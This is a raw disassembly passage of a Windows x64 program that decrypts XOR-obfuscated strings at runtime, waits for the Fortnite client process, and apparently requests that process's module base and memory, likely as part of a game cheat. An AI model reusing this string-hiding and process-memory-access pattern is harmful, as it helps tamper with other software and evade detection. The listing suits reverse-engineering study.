pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x48
jl 0x14001d190
jmp 0x14001d2b9
lea r9, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x48
jl 0x14001d290
lea rcx, [rsp + 0x50]
call fcn.1400021c0
movups xmm0, xmmword [0x140029ad8]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029ae8]
movups xmmword [rbp + 0x90], xmm1
movzx eax, byte [0x140029af8]
mov byte [rbp + 0xa0], al
mov r8d, edi
cmp r15d, 2
jl 0x14001d408
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x14001d310
cmp r8d, 0x21
jge 0x14001d453
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001d420
lea rcx, [rbp + 0x80]
call fcn.1400021c0
mov dword [rbp + 0xd0], edi
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x80]
call fcn.140021c70
lea r8, [rbp + 0xd0]
mov rdx, rax
call fcn.140004860
test al, al
jne 0x14001d4c1
nop dword [rax + rax]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x80]
call fcn.140021c70
lea r8, [rbp + 0xd0]
mov rdx, rax
call fcn.140004860
test al, al
je 0x14001d490
mov esi, dword [rbp + 0xd0]
mov dword [rbp + 0x5e0], esi
movups xmm2, xmmword [0x140029db8]
movups xmmword [rbp + 0xd8], xmm2
movsd xmm0, qword [0x140029dc8]
movsd qword [rbp + 0xe8], xmm0
movzx eax, word [0x140029dd0]
mov word [rbp + 0xf0], ax
movdqa xmm14, xmmword [0x140030d10]
movdqa xmm15, xmmword [0x140030d00]
cmp byte [0x140029dd1], 0
je 0x14001d803
mov r8d, edi
cmp r15d, 2
jl 0x14001d7c2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xd8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe0]
xorps xmm2, xmm1
movd dword [rbp + 0xe0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe8]
xorps xmm2, xmm1
movd dword [rbp + 0xe8], xmm2
movdqa xmm3, xmmword [0x140030d20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm3, xmm1
movd dword [rbp + 0xec], xmm3
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14001d7d0
lea rcx, [rbp + 0xd8]
call fcn.1400021c0
lea rcx, [rbp + 0x110]
call fcn.1400032e0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x50], xmm1
mov qword [rbp - 0x40], rax
mov word [rsp + 0x50], 1
mov dword [rsp + 0x54], esi
mov byte [rsp + 0x52], 0x10
mov rax, qword [rbp + 0x5d0]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x40], xmm1
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [rbp - 0x40]
movsd qword [rax + 0x70], xmm0
mov rax, qword [rbp + 0x5d0]
movups xmm12, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [rax + 0x70]
movsd qword [rbp - 0x40], xmm0
movq rax, xmm12
shr rax, 8
test al, al
jne 0x14001d923
mov qword [rbp + 0x50], 1
lea rcx, [rbp + 0x50]
call fcn.140003ff0
mov rax, qword [rbp + 0x5d0]
movups xmm12, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [rax + 0x70]
movsd qword [rbp - 0x40], xmm0
movq rax, xmm12
shr rax, 8
test al, al
je 0x14001d8c6
xor edx, edx
mov r8d, 0x2c8
lea rcx, [rbp + 0x290]
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x2c8
lea r8, [rbp + 0x290]
psrldq xmm12, 8
movq rdx, xmm12
lea rcx, [rbp + 0x5d0]
call fcn.140004320
lea rcx, [rbp + 0x5e8]
lea rax, [rbp + 0x290]
mov rdx, rbx
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001d970
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
mov rax, qword [rax + 0x40]
mov qword [rcx + 0x40], rax
lea rcx, [rbp + 0x50]
call fcn.1400032e0
mov rcx, qword [rbp + 0x50]
sub rcx, qword [rbp + 0x110]
movabs r12, 0x431bde82d7b634db
mov rax, r12
imul rcx
mov rcx, rdx
sar rcx, 0x12
mov rax, rcx
shr rax, 0x3f
add rcx, rax
movups xmm0, xmmword [0x14002a178]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x14002a188]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x14002a198]
mov dword [rbp + 0xa0], eax
mov r8d, edi
cmp r15d, 2
jl 0x14001db69
movdqa xmmword [rbp + 0x40], xmm10
lea rdx, [rbp + 0x80]
mov r9d, r14d
mov r10d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add r8d, 8
lea rdx, [rdx + 8]
add r9d, 8
cmp r8d, 0x20
jl 0x14001da70
cmp r8d, 0x24
jge 0x14001dbb3
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14001db80
mov rdx, rcx
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm2, xmmword [0x140029a50]
movups xmmword [rbp + 0x60], xmm2
mov edx, dword [0x140029a60]
mov dword [rbp + 0x70], edx
movzx eax, word [0x140029a64]
mov word [rbp + 0x74], ax
movzx eax, byte [0x140029a66]
mov byte [rbp + 0x76], al
mov r8d, edi
cmp r15d, 2
jl 0x14001de0c
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68]
xorps xmm2, xmm1
movd dword [rbp + 0x68], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x70], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14001de20
movq rdx, xmm12
lea rcx, [rbp + 0x60]
call fcn.1400021c0
movups xmm0, xmmword [0x140029380]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029390]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x1400293a0]
movups xmmword [rbp + 0xa0], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x14001dfa1
mov edx, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov r8d, r14d
mov r9d, dword [rbp + 0x40]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x14001deb0
jmp 0x14001dfd9
lea r9, [rbp + 0x80]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x14001dfb0
lea rcx, [rbp + 0x80]
call fcn.1400021c0
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x80]
call fcn.140021c70
mov rdx, rax
lea rcx, [rbp + 0x5d0]
call fcn.1400045a0
mov r13, rax
mov r8d, edi
test rax, rax
jne 0x14001e309
movups xmm0, xmmword [0x140029a68]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029a78]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x140029a88]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x140029a8c]
mov byte [rbp + 0xa4], al
cmp r15d, 2
jl 0x14001e167
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x20
jl 0x14001e070
cmp r8d, 0x25
jge 0x14001e1b3
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14001e180
lea rcx, [rbp + 0x80]
call fcn.1400021c0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x50], xmm1
mov qword [rbp - 0x40], rax
mov word [rsp + 0x50], 1
mov eax, dword [rbp + 0x5e0]
mov dword [rsp + 0x54], eax
mov byte [rsp + 0x52], 0x11
mov rax, qword [rbp + 0x5d0]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x40], xmm1
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [rbp - 0x40]
movsd qword [rax + 0x70], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, eax
mov rcx, qword [rbp + 0x158]
test rcx, rcx
je 0x14001e26a
mov rdx, qword [rbp + 0x168]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e253
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e2a1
call fcn.140025c94
mov qword [rbp + 0x158], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14001e2bf
mov rdx, qword [rbp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e2a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001e2a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14001a72b
mov rdx, qword [rbp + 0x1a0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a726
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a726
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movups xmm0, xmmword [str.K_HSQHV.b_7__82l9___4r153yvwP_]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x14002a010]
movups xmmword [rbp + 0x90], xmm1
movzx eax, word [0x14002a020]
mov word [rbp + 0xa0], ax
movzx eax, byte [0x14002a022]
mov byte [rbp + 0xa2], al
cmp r15d, 2
jl 0x14001e459
mov r8d, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
